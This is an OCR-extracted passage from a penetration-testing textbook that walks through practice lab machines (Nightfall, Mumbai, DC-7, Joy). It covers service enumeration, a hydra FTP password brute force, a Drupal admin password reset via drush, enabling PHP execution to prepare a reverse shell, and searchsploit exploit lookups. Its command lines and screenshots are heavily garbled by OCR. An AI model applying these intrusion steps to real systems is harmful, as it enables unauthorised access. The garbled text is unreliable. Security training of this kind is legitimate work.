", Kali Linux “w, Kali Training "%, Kali Tools ", Kali Docs &, Kali Forums S, NetHunter Offensive Security »
Branch: master = | Wulnerable-Machine-—Hint / upload.php Find file = Copy path
il rmtinneein Create upinsd php 156005 on Feb 28, 2019
1 confribarior
41 lifes (38 2]l68) 1.84 KB Raw Blsms Hidory & [

<IDOCTYPE hpml>
<himl>

=gy

=div aligh="canter™s
<form action="" method="post® enctype="multipartsform-data®>
chre
chosmlect image @ /B>
<input Cype="file” rase="file” id="file" style="border: salid;">
cinput type=*submit® walie="Submit® name="submit®>

</ Fores
=fdive
<7php
ff Check if image file 45 a actusl image or fake image
if (1sset (3 POST["submit=])) {
Srand_number = rand(l, 188); -

+ g
Figure 6.30: Viewing the upload.php PHP source code on GitHub

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:
IP address: 10.0.2.4
Operating System: Ubuntu Linux
Open Ports & Services:
e 22/tcp SSH

o OpenSSH 7.2p2 Ubuntu 4ubuntu2.7
e 8000/tcp HTTP

o Apache httpd 2.4.2
o WordPress 5.0.3
o http-robots.txt: 2 disallowed entries



= /upload.php
Z page source available on

https://github.com/fatihhcelik/Vulnerable-Machine---

Hint/blob/master/upload.php

= /uploads

Sunset: Nightfall

We had 1dentified services like FTP, SSH, Samba, HTTP, Database and
mdns server running on the target host. Let’s enumerate these services, and

find what we can about them.

Opening up the url http://10.0.2.5 shows a default apache2 debian
homepage suggesting an unconfigured home page, lets run a drib scan to

find files and directories that may serve as potential entry points.

Open up a terminal and run a drib scan against the website using the

command:
dirb http://10.0.2.5

root@kali: ~/lab/MNightfall

File Edit View Search Terminal Help
: # dirb http://18.0.2.5

START TIME: Sun Feb 23 15:26:28 2028
URL BASE: htt 5/
WORDLIST FILES: hare/dirb/wordlists/common.txt

GENERATED WORDS: 4612

http://16.8.2.5

1208 |5IZE:160781)
r-status (CODE:403|S5IZE:296)

sun Feb 23 15:26:32
): 4612 - FOUNE




Figure 6.31: dirb scan

Dirb scan did not come up with any results, let’s use another tool called
Nikto to see if that is able to find something else.

Open up a terminal, and run a nikto scan against the website using the
command:

nikto -h http://10.0.2.5

root@kali: ~/lab/Mightfall e ® O
File Edit View 5Search Terminal Help

nikto -h 16.8.2.5

Target IP:
Target Hostname:
Target Port:
Start Time:

& user agent

in a L i 0 > MIME type

TEA= C all' to for all possible dirs)
via ETags, header found with file /, inode: 29cd, size:

, POST, OPTIONS, HEAD
ficon ME: Apache default file found.
6 requests: @ error nd 6 item(s) reported on remote host
End Time: 23 15:2 GMT-5) (B85 seconds)

host(s) tested

Figure 6.32: nikto scan

Nikto shows a few results regarding the Apache server configuration,
however no new files were identified.

We will now perform enumeration on the SMB protocol ports (139/tcp,
445/tcp) that we found running on the target host to find details such as host
name, domain name, operating system details, user list, user groups,
password policy, and so on.

Open up a terminal, and type the command below command to perform the
scan:

enum4linux 10.0.2.5



root@kali: ~/lab/Mightfall e ® 0
File Edit View Search Terminal Help

1600-10580

. administrator, guest, krbtgt, domain admins, reoot, bin, none

Looking up status of 10.
NIGHTFALL
MIGHTFALL
HIGHTFALL -

SER - =GROUP=
= <GROUP=>

- =0ROUP= B =<AC

Figure 6.33: SMB protocol enumeration

Screenshot showing the results of enum4linux scan.

Important entries from the scan results are given as follows:

Version Samba 4.9.5-Debian
Domain NIGHTFALL
Users matt, nightfall

We have managed to gather two system usernames from the Samba service,
we will now learn to use this information to brute force the ftp accounts
belonging to these users.

Let’s create a file called users. txt containing a list of names of the users
identified previously using the script below or any text editor of your
choice.



root@kali: ~/lab/Nightfall e 0

File Edit View Search Terminal Help
; # echo -2 "matt\nnightfall® = users.txt; cat users.txt

matt
nightfall

Figure 6.34

The /usr/share/wordlists directory in Kali contains many dictionaries
that are used for bruteforce attacks and content scanning. The default
dictionary included with Kali is rockyou.txt.gz which contains 14.34
million unique passwords, and is extremely good for cracking local
password hashes. However, this dictionary is considered extremely large,
and is not suitable for attacking passwords over the network. An attack
using rockyou dictionary would run into days or weeks even in an ideal lab
setting, and could cause network and processing related issues. To counter
this, we will download a smaller list of top 1000 most commonly used
passwords from the internet using the wget command.

In the terminal type the command:

wget
https://raw.githubusercontent.com/DavidWittman/wpxmlrpcbrute/ma
ster/wordlists/1000-most-common-passwords. txt

This will download the file to the current directory.



root@kali: ~/lab/Nightfall e e 0 \

File Edit View Search Terminal Help
- : ent.com/Davidwittman,/w

--262 - E: 1tk content.com/DavidWwittman/wpxmlrpc
brute : L f1608 - 1-pa3 ds.txt

Resolvi ra ithub COm (.githubuy content.com)... 151.1061.0.133
, 151.161.64.133, 151. , 121 R

Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.181.8.13
3]|:443... d

HTTP request s walting response...

Length: 7407 (7 [tes: lain]

Saving to: ‘lee : L

7.23K --.-KB/s in @.001s

‘1060 -most-common-passwords . txt' saved [7407/7

v 1080-most-common-passwords. txt Jusr/share/wordlist

Figure 6.35: Downloading files using wget

Move the password list file to the common kali wordlists directory using
the command mv 1000-most-common-passwords. txt
/usr/share/wordlists/ after the file completes downloading successfully.

We now have the user and password lists ready, let’s use hydra to bruteforce
the user accounts of matt and nightfall by sequentially trying out the
passwords we downloaded on the target’s FTP service.

To begin the password enumeration for users, type the command in the
terminal:

hydra -L users.txt -P /usr/share/wordlists/1000-most-common-
passwords.txt ftp://10.0.2.5

The hydra tool is a network based password cracking tool which supports
brute-forcing of multiple protocols over the network. The -L flag is used to
specify a filename containing the list of users while the -P flag specifies the
file containing the list of passwords.



root@kali: ~/lab/Nightfall e e 0 \

File Edit View Search Terminal Help
# hydra -L users.txt -P Jfusr/share/wordlists/1000-most-

words.txt Ttp
: or secret

ydra (https://github.com/vanhauser- /thc-hydra) starting at 20620-82-23 15:49:
56

[DATA] max 16 tasks per server, overall 16 tasks, 2000 login tries (l:2/p:1l008
1., ~125 tries pwr t

to do in 08:01h, 16 active
11u to do in @8:81h, 16 active
231 to do in @0:91h, 16 active
/ t . ) do in ©8:01h, 6 active
B Farget s Fully e ".. d pa ard found
Hydra (https://github -thc/thec-hydra) finished at 2020-02-23 15:
17
#

Figure 6.36: Bruteforcing FTP accounts

The hydra tool was successful in brute-forcing the password for user matt
as cheese.

Let’s try to use matt’s credentials to login into the target system by using the
following command in the terminal:

ssh matt@l1l0.0.2.5

[a

root@kali: ~/lab/Nightfall e e 0

File Edit View 5earch Terminal Help
: # ssh matt@le.e.2.5

Figure 6.37: SSH login denied for user matt

SSH login permission was denied for user matt using the password cheese.
We can see that the SSH service also uses publickey authentication.
However, so far we do not have the publickey for user matt so let’s try to
access the MySQLdatabase server running on port 3306/tcp by using the
command:



mysql -u matt -p -h 10.0.2.5.

The -u flag specifies the username to use for logging into the MySQLserver
-p specifies that password is to be used for establishing the session and -h
flag specifies the host to establish the connection with.

r &1

root@kali: ~/lab/Nightfall e e

File Edit View Search Terminal Help
: # mysgl -u matt -p -h 10.8.2.5

Enter pa
denied for user 'matt'@'10.06.2.238' (using password:

Figure 6.38: MySQL access denied for user matt

We received an access denied error while connecting to the MySQL service
using matt’s credentials.

Using a terminal login to the target’s ftp service using the command £tp
10.0.2.5 and issue a 1s command to obtain the directory listing.

root@kali: ~/lab/Mightfall Q@ ® O
File Edit View 5Search Terminal Help

Using bi y mode to transfer files.
ftp= 15

ve data connection established.

Data connection already open. Transfer starting.
1 matt matt Aug 28 2019 .bash history
matt matt . ug 26 .bash_logout

matt matt g .bashrc
3 matt matt - 2019 .gnupg
3 matt matt : 2019 .local
matt matt g0 2019 .profile
matt matt B Aug 28 2019 .sh history
- complete,

Figure 6.39: FTP file listing for user matt



The directory listing shows us files belonging to user matt and group matt,
the presence of .bash* files indicates that we might be inside user matt’s
home directory.

Take notes on the observations made so far and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.5

Operating System: Debian Linux
Open Ports & Services:

o 21/tep fip

o pyftpdlib 1.5.5
o User:matt Password:cheese (via bruteforce attack using hydra)

o 22/tcp ssh

o OpenSSH 7.9p1 Debian 10 (protocol 2.0)
o Login denied for user matt

e 80/tcp http
o Apache httpd 2.4.38 ((Debian))
e 139/tcp netbios-ssn

o Samba smbds 3.X - 4. X (workgroup: WORKGROUP)
o Found users: matt, nightfall

e 445/tcp netbios-ssn
o Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
e 3306/tcp mysql

o MySQL 5.5.5-10.3.15-MariaDB-1
o Login denied for user matt

e 137/udp netbios-ns
o Samba nmbd netbios-ns (workgroup: WORKGROUP)



e 5353/udp mdns

o DNS-based service discovery

Mumbai:1

This target has multiple services like FTP, SSH, HTTP, and Database
servers running on it. We will enumerate these services to gather any
important information that we can about the target.

Starting our exercise with the FTP service. Open up a terminal and type the
command £tp 10.0.2.6, and check whether anonymous logins are allowed
by trying to login with ‘anonymous’ as the user name, and enter any email
address in the password field.

root@kali: ~/lab/Mumbai (- O - ]
File Edit View 5earch Terminal Help

Here comes the directory listing.
f 18 e 297 5ep 25 15:12 Note

Figure 6.40: FTP anonymous login

As you can see anonymous logins are allowed so we can browse the files
and directories that are available on the target FTP server. In this case we
can see that a single file called ‘Note’ is present on the FTP server.

Download the file from the FTP server by issuing a get <filename>
command from within the FTP session. You could also use Firefox to
establish the anonymous FTP session and view the file contents as shown in
the following screenshot:



Morzilla Firefox o600

10.0.2.6/Note x|+

@ -2 C @ [ @ ftp://10.0.2.6/Note @R » =
N, KaliLinux 8 Kali Training " Kali Tools ", KaliDocs “& Kali Forums “, NetHunter »
TODO:

Move these multiple HTTP Servers running to Docker. I hear containers make things inherently
secure - maybe this will shut these security researchers up.

Also, don't forget to remove all those privilege escalation exploits from ftmp - we don't want to
rebuild the server again.

- AbsoZed

Figure 6.41: contents of the ‘Note’ file

The contents of the ‘Note’ file suggests that the server has had security
related issues in the past and had to be rebuilt. To counter this the server
may have been migrated to Docker containers as a security measure.
Privilege escalation exploits were used against the server, and they may still
be present in the /tmp folder if not already cleaned up by the admin.

We will move our attention to the Apache HTTP server running on port 80.

Open up the Firefox browser from the dock, and browse to
http://10.0.2.6

Mumbai SEO Services - Mozilla Firefox e 0

Mumbai SEO Services x |+

@ > C 0  ® 10026 O 1y n @
“, Kali Linux s, Kali Training s, Kali Tools " Kali Docs s, Kali Forums &, MetHunter [} Offensive Security »

Coming Soon

Opening to the Public Soon!

(Bear with us, we're experimenting with technologies for our website!)

s CamingeroonThee.com

Figure 6.42: HTTP landing page

Opening up the url http://10.0.2.6 shows a ‘coming soon’ page with no
entry points to any application on the server. Let’s run a drib scan to find



files and directories that may serve as potential entry points.

Open up a terminal and run a drib scan with the big. txt dictionary against
the website using the command:

dirb http://10.0.2.6 /usr/share/wordlists/dirb/big.txt

root@kali; ~/lab/Mumbai (- IO ]

File Edit View Search Terminal Help
; # dirb http://18.8.2.6 fusr/share/wordlists/dirb/big.txt

START TIME:
URL BASE: ht

GENERATED WORDS5: 20458

Scanning URL: http://10.¢

H-4+ I W«

(1) WARNING: Directo S ABLE. No need to scan it.
(Use mode "-w' if you want to scan it anyway)

Figure 6.43: dirb scan using the big dictionary

Dirb scan results show a few directories related to content management
systems such as Drupal and WordPress.

Browsing to the Drupal link shows an empty directory suggesting that
Drupal installation may have been removed while the WordPress link
displays a WordPress page with the message shown as follows:



Mumbai SEO - Just another WordPress site - Mozilla Firefox @ ® 0

= Mumbai SEO - Justanot X | 4+

'::':_‘_.' =3 e, ® 10.0.2.6/wordpress/ v @ 1 »
%, KaliLinux " Kali Training " KaliTools '\ KaliDocs '\ Kali Forums "\, NetHunter »
API Coming Soon!

Hey everyone, thanks for bearing with us as we iron out the technical issues and get
our site up. We're working to make it really super secure!

Soon, we'll have the promised API functionality for you to test. In the mean time, feel I
free to explore our blog here.

Ps:

Please don't poke holes in our security, I'm really tired of fixing all these issues you
guys keep bringing up.
Connecting to 200.0.12.100... —— -

Figure 6.44: WordPress page

Seems like WordPress site was being used for blogging. The message goes
on to indicate that API functionality is coming soon, and that it’ll be
available for testing, this means that this feature is still untested, and could

contain potential security weaknesses.
Taking a look at the page source indicates that the site is misconfigured.

Most of the webpage elements and hyperlinks seem to point to the IP
address 200.0.12.100 instead of the target’s local IP address.

To explore the links on the site, change the IP address in the hyperlink from
200.0.12.100 to target’s IP and find any blog posts that contain information
on security weaknesses.

We will now enumerate WordPress using wpscan which is a scanner
especially designed to carry out this task.

To begin scanning the WordPress installation on the target system open a
terminal window and run the command:

wpscan --url http://10.0.2.6/wordpress



root@kali: ~ e e O

File Edit View Search Terminal Help
Interesting Finding(s}:

ingback
sfauxiliary/

canner
- nttps:/ .rapid?.com/db/madul ixiliar Shttp/wordpress xmlrpc dos
apid?.com/db/modules/auxiliary/scanner/http/wordpress xmlrpc

Jdbs/modules/auxiliary/scanner/http/wordpress pingbac

Figure 6.45: WordPress scanner

The results show that the xmlrpc is enabled along with a few links to
potential vulnerabilities that may arise of this. The results also show that the
version of WordPress installed is 5.2.3.

The wpscan tool also offers additional options to further enumerate the
WordPress installation by using the -e flag followed by options, we will use
this to enumerate the WordPress users on the target host. Type the command
in the terminal:

wpscan --url http://10.0.2.6/wordpress -e u

Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:18 <==>= (10 / 10) 100.00% Time: 00:00:18

User({s) Identified:

) Pattern (Aggressive Detection)

Figure 6.46: Users identified on WordPress



The wpscan user enumeration results show that a WordPress user called
absozed was identified.

We will now bruteforce the password for this user using the command:

wpscan --url http://10.0.2.6/wordpress -U absozed -P
/usr/share/wordlists/1000-most-common-passwords. txt

ailnst 1 user/s
i 711 J 186868) 71.89% ETA:
/ polina Time: 00:00: 006 / 1000) 1l00.00% Time: 0O

No Valid Passwords Found.

Figure 6.47: WordPress account brute forcing using wpscan

The wpscan tool was unable to find the password using the Top 1000 most
common passwords dictionary.

We will now move on to the MySQLport, let’s try to login to MySQLas
root user with a blank password.

r »

root@kali: ~/lab/Mumbai @ ® 0

File Edit View Search Terminal Help
: # mysgl 18.0.2.6 -uroot
ERROR 2 : Can't connect to local MySQL server through socket '/svar/run

Smysqlds/my GH )

Figure 6.48: MySQL connection error
We will not be able to do much with the MySQLport at this point in time as
connection to this port is being denied from our machine.
Let us move on to enumerate the other HTTP port 8000.

Open up the Firefox browser from the dock and browse to
http://10.0.2.6:8000.

Mezilla Firefox e ® o0
10.0.2.6:8000/ ® |+
&l 2 & (® 10.0.2.6:23000 = @ Mmoo =
"\, Kali Linux ", Kali Training ", Kali Tools "\ KaliDocs ‘& Kali Forums S, NetHunter [] Offensive Security ¥

API Coming Here Soon!

Figure 6.49: landing page on HTTP port 8000



Browsing to port 8000 we are greeted with a “API Coming Here Soon!”
message on the page. Let’s enumerate this port further to find any hidden
files and directories that could serve as a potential entry point.

Open up a terminal and run a dirb scan against the apa server using the
command:

dirb http://10.0.2.6:8000 /usr/share/wordlists/dirb/big.txt

root@kali: ~/lab/Mumbai e e 0

File Edit View Search Terminal Help
- # dirb http://18.8.2.6:8800 fusr/share/wordlists/dirb/big.

START _TIME: Wed Feb 26
URL BASE: http://

Figure 6.50: dirb scan on HTTP port 8000 using big.txt wordlist

The dirb results show us .bash_history and .bashrc files which indicates
that we might be inside some user’s home directory.

Access the .bash_history and .bashrc files we found on the target host
using curl or Firefox browser.



root@kali: ~/lab/Mumbai [— - ]

File Edit View Search Terminal Help
x # curl http://10.0.2.6:8080/.bash history

1ls

export PATH=/api:fusr/local/bin:/bin:/usr/bin

Al . ~T Dockerfi

sudo docker run -wv / S -] 1t

: # curl http://10.0.2.6:8080/.bashrc

PATH=/api: /L ycal/sbin
: #

Figure 6.51: Contents of .bash_history file

Contents of .bash_history and .bashrc files show that a user has built a
docker container on the system, and that the /api directory has been added
to the system path.

We still don’t have entry points to the test API on this server. We will have
to enumerate this service further by using the -x flag and searching for files
with .php and .py extensions.

Type the command dirb http://10.0.2.6:8000
/usr/share/wordlists/dirb/big.txt -X .php, .py

URL BASE:

WORDLIST FILES . sts/dirb/big. txt
EXTENSIONS LIST: (.php,.py) | (.php)(.py) [NUM = 2]

Figure 6.52: Scanning HTTP port 8000 for PHP and Python files

The dirb command found 2 files test.php and keywords.py. Access the
files using a browser or curl.

Mozilla Firefox e 00
10.0.2.6:8000/test.php x |+
Lo (@ 10.0.2.6:8000/test.php = @ nm =
"%, Kali Linux ", Kali Training &, Kali Tools "\ KaliDocs ‘&, Kali Forums ‘&, NetHunter [] Offensive Security b

Please POST a proper query. ex: https:/fcaffeinatedengineers.com

Figure 6.53: Message on test.php page



Browsing to test.php using Firefox shows us the test APl page with a
message “Please POST a proper query. ex:
https://caffeinatedengineers.com” message. The page is expecting a
URL as an input for processing our request.

Browse to http://10.0.2.6:8000/keywords.py using Firefox browser,
and open the file in a text editor.

o keywords.py - € = =
pen v fi [ fmgfmozilla_rootd s

import requests

from bs4 import BeautifulSoup
import operator

from collections import Counter
import argparse

import sys
def main():
parser = argparse.ArgumentParser()
parser.add arguwment{"--guery"”, help="Site to crawl for keywords.", typesstr)

args = parser.parse_args()
url = args.query
if url is not None:
start(url)
else:|
sys.exit(2)

Figure 6.54: keywords.py source code

Going through the source code tells us that this script accepts URL as an
input using the --query flag. The script crawls the URL specified and
creates a list of words and the number of times each word is used.

Let’s go back to the test.php page and use the target’s WordPress site URL
to check whether the keywords script is executed in the background.

Use Firefox to open the URL http://10.0.2.6:8000/test.php?
query=http://10.0.2.6/wordpress.

Mozilla Firefox ®
10.0.2.6:8000/test.php?que X :+
«)-> C @ ® 10.0.2.6:8000/test.php?query=https://10 - @ 7 ¥ » =
", Kali Linux ", Kali Training "\ Kali Tools % KaliDocs " Kali Forums S\ NetHunter »
Please POST a proper query. ex: https://caffeinatedengineers.com

Figure 6.55: test.php query failed using GET method



Our request that we sent through the browser’s URL bar did not produce the
results that we expected as any input sent in this fashion is sent to the server
as a ‘GeT’ request. Re-looking at the message gives us a hint that the API
may be expecting the query variable using posT method.

Let’s try sending the query variable to the API as a POST request. Using the
terminal window type the following command:

curl http://10.0.2.6:8000/test.php -X POST -d
"query=http://10.0.2.6:8000/wordpress

Figure 6.56: curl request using POST method completed successfully.

The request produced the output we expected which proves our theory that
the test.php API is executing keywords.py file in the background to
produce the word count results.

Take notes on the observations made so far and we will continue with this
machine in the next chapter.

Observation Notes:

IP address: 10.0.2.6

Operating System: Ubuntu Linux
Open Ports & Services:

e 21/tcp ftp

o vsftpd 3.0.3

o Anonymous FTP allowed, file called Note revealed security
1ssues

e 22/tcp ssh

o OpenSSH 7.6p1 Ubuntu
e 80/tcp http

o Apache httpd 2.4.29



o WordPress 5.2.3
= XMLRPC was enabled which could lead to security issues
= User absozed found

e 3306/tcp mysql
e 8000/tcp http

o nginx 1.14.0

o .bash* files found suggesting that the web root might be user’s
home directory

= Docker container was built by a system user and /api
directory was added to the PATH variable.

= API http://10.0.2.6:8000/test.php which executes a python
script keywords.py for producing word count.

Conclusion

This chapter covered the theory and techniques used to perform
enumeration and service scanning. We performed hands-on enumeration of
services such as FTP, HTTP, SMB/Netbios, SNMP, and so on., using
techniques such as web content scanning, viewing source-code, anonymous
FTP logins, performing MIB walk on SNMP, performing smb enumeration,
network based password attack on FTP and content management system
such as WordPress to name a few.

Moving on, the next chapter will focus on researching vulnerabilities
present on the target hosts using the information obtained in this chapter.
We will learn to find security issues in the target systems using online
platforms and tools available in Kali Linux.

Questions

1. Which HTTP method is used by the browser when sending parameters
as a part of URL?

2. What are the names of default community strings used by SNMP?

3. Where are the wordlists stored in Kali Linux?



CHAPTER 7
Vulnerability Research

he previous chapter covered the topic of service enumeration and

scanning along with hands-on usage of tools available on kali linux to
obtain valuable information about the various services running on the target
systems.

During this chapter you will become familiarized with concepts of
researching vulnerabilities on the target systems by using the tools built into
Kali Linux, we will also cover a few online resources used for researching
information about vulnerabilities.

Structure

Following are the topics that will be discussed during this chapter:

e Research vulnerabilities about various services and identifying
workable exploits.

o Evaluate the exploitability of the identified weakness on the target
system.

Let’s look into the objectives.

Objectives
After reading this chapter, you will be able to:

e Understand the concepts of vulnerability research.
o Perform vulnerability research using the online resources and tools
built-in Kali Linux.

We will now continue the process and exploit the target systems using the
information gathered during the previous stages.



DC-7

In the previous chapter we discovered a set of user credentials on
Dc7User’s GitHub page, now using those credentials we will attempt to
gain access to the various services and systems.

Open up the firefox, browse to http://10.0.2.27/user/login and login
with de7user and password MAR3xOgB7#dwW

Login | D7 - Mozilla Firefox (- ]
@ Login| D7 x|+

Ilrx(_.} = ¢ @ | @ & 10.0.2.27/user/login T0% @ D=
%, Kali Linux ", Kali Training ", Kali Tools “ KaliDocs “e, Kali Forums “& NetHunter »

I @ Unrecognized usemame o password. Forgot your password?

Haomae

Search

Log in
Login | Resel your passwond

Username *

dcTuser

[Enmew o O enername

Password ¥

(e i et Sl SOTOMPESCT VO U T e

Laog in

Figure 7.1: Drupal login failed for dc7user

Notice that the login did not succeed with the credentials supplied by us, as
reflected in the scan results, in above screenshot.

The next best thing is to try a few more services, at this stage it's logical to
attempt to login into the SSH service. Use the command ssh -1 dc7user

10.0.2.27, type yes to accept the server’s ECDSA fingerprint and enter the
password when prompted.



dcTuser@dc-7: ~ e 0
File Edit View Search Terminal Help

ey fingerprint is SHAZ 01GjFTLf
U sure you want t [yes/noy rint]
R

#1 SMP Debian 4.9.168-1+deb9uS (2019-88-11) x86 64

The programs included with the Debian GNU X% system are free software;
the e distribution terms for each pr a in the
individual files in fusr/share/sdoc/*/copyri

Debian GNU/Linux comes with ABSOLUTELY NOQ WARRANTY, to the extent
T applicable law.

You have new mail.

Last logim: Fri Aug 30 03:106:99 2019 from 192.165.0.100

Figure 7.2: SSH login for user dc7user

This will allow to successfully log into the system as dc7user. We can see
the SSH post login message which reveals the Debian release and Kernel
version, furthermore you will also notice that the user has received a new
email.

Let’s explore the user’s home directory to find out more about the target
system.

dcTuser@dc-7: ~ (- IO ]
File Edit View 5Search Terminal Help

Ln

; -= Jdev/null
.bash logout
.bashrc
dc7user
= dcTi

L = = B L

(¥5)

dcTuser
-1 backups/

- dcTuser 727929 Feb 28

560

Figure 7.3: Directory listing of dc7user’s home and backup directory



Issuing the 1s -1a command in the home directory of the dc7user’s, shows
a file called mbox and directory named backups, further looking into the
backup directory shows two gpg files.

Let’s view the contents of the user’s mbox file using the command cat
mbox | less and scroll through the output using the arrow keys.

dc7user@dc-7: ~ e ® 0
File Edit View 5Search Terminal Help

B:22 41000
3l (Exim 4.89)

CV-5C
; Thu, 29 Aug 2019 17:00:22 +1000

scripts/backups.sh

ge-Id: = 3 Ic-7=
2: Thu, 29 Aug 201% +1000

Database dump saved to Sfhome/dc7user/backups/wehsite.sqgl [success]

Figure 7.4: contents of mbox file

You will notice a lot of emails from rootede-7 generated by Cron Daemon
which is a typical task scheduling service for *nix system.

The contents of the email tell us that the Cron scheduler executed
/opt/scripts/backup.sh script and that the dump of the database was
stored to /home/dc7user/backups/website.sql

Let’s take a look at the backup.sh script permissions to check if we can
modify it.

dc7user@dc-7: ~ (- O -]
File Edit View Search Terminal Hel




Figure 7.5: backup.sh file permissions

The script is owned by root user and the group access is limited to www-
data other users on the system do not have write permission on the file. This
means that we will not be able to edit the backup script.

We do have read access to the file so let’s check the contents of the script by
running the command cat /opt/scripts/backup.sh from the terminal.

dc7user@dc-7: ~ e e 0
File Edit View 5Search Terminal Help

:~% cat mbox | les
7:~% cat fopt/sc

sphrase PickYourOwnPassword --symmetric /home/

--passphrase PickYourOwnPassword --symmetric /home/

Figure 7.6: backup.sh file contents

Examination of the contents of the backup script tells us that the script is
being used to backup the contents of /var/www/html and sql database to
/home/dc7user/backups. We can see that drush is being used for taking sql
database backup and also that the website.sql and website.tar.gz files
are encrypted using gpg using a passphrase PickYourOwnPassword

A quick web search for drush reveals that it is a command line tool for
performing administrative tasks on Drupal based websites. This
functionality includes functionality of resetting password for users.

configuration/drupal2/resetting-the-drupal-administrator-password

Let’s change the current directory in the terminal to /var/www/html and run
the command drush upwd --password="adminl23” admin to change the
current password for the admin user to admin123.



deTuser@dc-T7: fvarfwww/html e e 6
File Edit View Search Terminal Help

£ cd /var/w

sh upwd --password="adminl23" admin

for admin

Figure 7.7: changing Drupal admin password using Drush

The admin password for Drupal site was successfully changed to
‘admin123’. We should now have full control on the Drupal website.

We now need to focus on leveraging the Drupal admin access to obtain
shell access on the target system, for this to happen we need to create a PHP
script or find a way to upload and execute a php script target system.

A Dbit of information gathering on the internet reveals that PHP code
functionality is provided by a Drupal module named ‘php’ which has been
removed from Drupal versions 8.x and above.

Interestingly Drush provides a way to enable modules so let’s re-enable this
module using the command drush en php from the terminal and press ‘y’
when prompted to confirm the download.

dc7user@dc-7: fvar/www/html e 0 O

File Edit View Search Terminal Help
ser@dc-7: ¢ drush en php
t found. [warning]
owing projects provide some or all of the extensions not lok]

[warning]
some or all of the extensions. [warning]
cions that could be enabled. [ok]

Figure 7.8: Drupal of PHP module download failed using Drush due to lack of write permissions

The download failed, looks like the dc7user does not have write
permissions to the /var/www/html/directory. The earlier approach did not
work however we should still be able to install the module by accessing our
Drupal installation through browser.



Using the firefox browser download the php module to our Kali system

Login to the target Drupal installation using the admin credentials, click on
‘Extend’ and then on ‘+install new module’ button. Browse to the php-
8.x-1.0.tar.gz module and upload it to the Drupal site by clicking on the
‘Install’ button.

Upload a module or theme archive to install

| Browse_ | php-B.x-1.0.tar.gz

For example: name.tar.gz from your local computer

Install

Figure 7.9: uploading the PHP module

Once this step is complete you will be presented with a message that the
module was installed successfully, click on ‘enable newly added
modules’ link in message or browse to the
http://10.0.2.27/admin/modules page.

Scroll through the modules list to find the ‘PHP Filter’ module, click on the
checkbox next to the module, and then click on the ‘Install’ button to
enable it.

() Backtosite = Manage  Shortcuts  § admin

B Content | gk Structure | %4, Appearance | e Extend 4 Configuration | J§ Peopte | I Reparts | @ Help

Extend v

| " Module FHP Fiter has been enabled

Figure 7.10: php module has been enabled

The ‘PHP Filter’ module has been enabled on the target; we should now be
able to upload custom PHP scripts on Drupal in order to obtain a reverse
shell access.

With the ground work now complete, we will conclude the research phase
for the DC7 machine and exploit the loophole in the next chapter.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.



Observation Notes:

IP address: 10.0.2.27

Operating System: Linux (Debian 10 based)
Open Ports & Services:

e 22/tcp - SSH

o OpenSSH 7.4p1 (gathered from service banner)

o SSH allows login for dc7user using the credentials found on
GitHub page.

o Bash script /opt/scripts/backup.sh used to backup website and
sql database.

o Cron is being used to run the backup.sh script periodically.

o Drush is being used to administer Drupal

o 80/tcp - HTTP

o Apache 2.4.25 (gathered from service banner)
» Found robots.txt

o Drupal 8 (gathered from page source)
» Admin password changed to ‘admin123’

» PHP Filter module was uploaded and enabled to allow
custom PHP code execution.

o Internet handle @DC7user on the main page

» Google search of the handle revealed Twitter and GitHub
accounts.

» Found source-code and credentials ‘dc7user and
‘MdR3xOgB7#dW’

Digitalworld.local:Joy

We had left off the last chapter after downloading four files (haha, Sun,
.txt and version_ control) from user Patrick’s home directory.

Read the downloaded files one by one to see if we find something useful by
using the cat <filename> command in the terminal.



root@kali: ~/lab/Joy ©0 0

File Edit View Search Terminal Help
x # cat haha
¥ catl Sun
cat .txt
cat version control
xternal-Facing Services:

ear 55
ProFTPd:

Samba: 4.5.12

We should switch to Open5S5H and upgrade ProFTPd.

. I am trying to perform some simple bash scripting tutorials. Let me see how i
t turns out.

Figure 7.11: contents of version_control

The contents of the version control file indicate to us that it may be
internal notes shared between server administrators. The file gives us
valuable information on the version numbers of Apache, Dropbear SSH,
Proftpd, and Samba services.

You will also notice comments stating that the default webroot directory has
been changed to /var/www/tryingharderisjoy and that the admin may be
learning bash scripting suggesting the possibility of finding vulnerable shell
scripts on the target system.

Using the information found in version control document and service
enumeration phase, we now have a master list of package versions for the
external facing services running on the target machine:

Apache2 package version 2.4.25-3
ProFTPD version 1.3.5

Dropbear SSH version 0.34
Dovecot package version 1:2.2.27-3
Postfix package version 3.1.8-0
Samba package version 4.5.16
Snmpd package version 5.7.3



At this moment you may use this information to find out if there are any
known weaknesses in the versions of packages that we identified on the
remote target.

We will be using the searchsploit command built in the Kali linux system to
perform an exploit lookup within the exploit-DB archive stored in
/usr/share/exploitdb/ directory, for the sake of the lab exercises we will
use the name of software and their versions to find the corresponding
exploits. The exploits are

Open the terminal window and issue searchsploit <software-name>
<version> command one by one on the list of packages given as follows:

# searchsploit apache 2.

.7 mod status - Scoreboarc
< 2,2.34 [ = 27 - OPTIONS W
Tomcat 3 ] 1
Tomcat . : ITCe. j5
Tomcat - Example Fi

Figure 7.12: list of Apache 2.4 exploits

Our search for Apache 2.4 presents us with a list of potential exploits, we
can see two Apache exploits which match with the Apache version installed
on the target and may be useful to us:

Apache 2.4.17 < 2.4.38 - 'apache2ctl g | exploits/linux/local/46676.php

Apache < 2234 / < 2427 - OPTIONS M |
exploits/linux/webapps/42745.py



# searchsploit dropbear

Exploit Title

Shellcodes: No Result

Figure 7.13: list of DropBear exploits

Searching for dropbear on searchsploit gives us an exact version match:

Dropbear SSH 0.34 - Remote Code Execut | exploits/linux/remote/387.c
# searchsploit proftpd 1.3.5
Exploit Title
‘mod copy' Command Exe |

‘mod copy' Remote Comm |
- File Copy

4
B

Shellcodes: No Result

Figure 7.14: list of ProFTPd exploits

Results of proftpd search show 3 potential exploits for version 1.3.5

ProFTPd 1.3.5 - 'mod_copy' Command Exe |
exploits/linux/remote/37262.rb

ProFTPd 1.3.5 - 'mod_copy' Remote Comm |
exploits/linux/remote/36803.py

ProFTPd 1.3.5 - File Copy | exploits/linux/remote/36742 .txt

Searching for dovecot, postfix, samba, and snmpd did not produce any
meaningful exploit or shellcode results for the versions installed on the
target host.

Take notes on the observations made so far, and we will continue with this
machine in the next chapter.

Observation Notes:



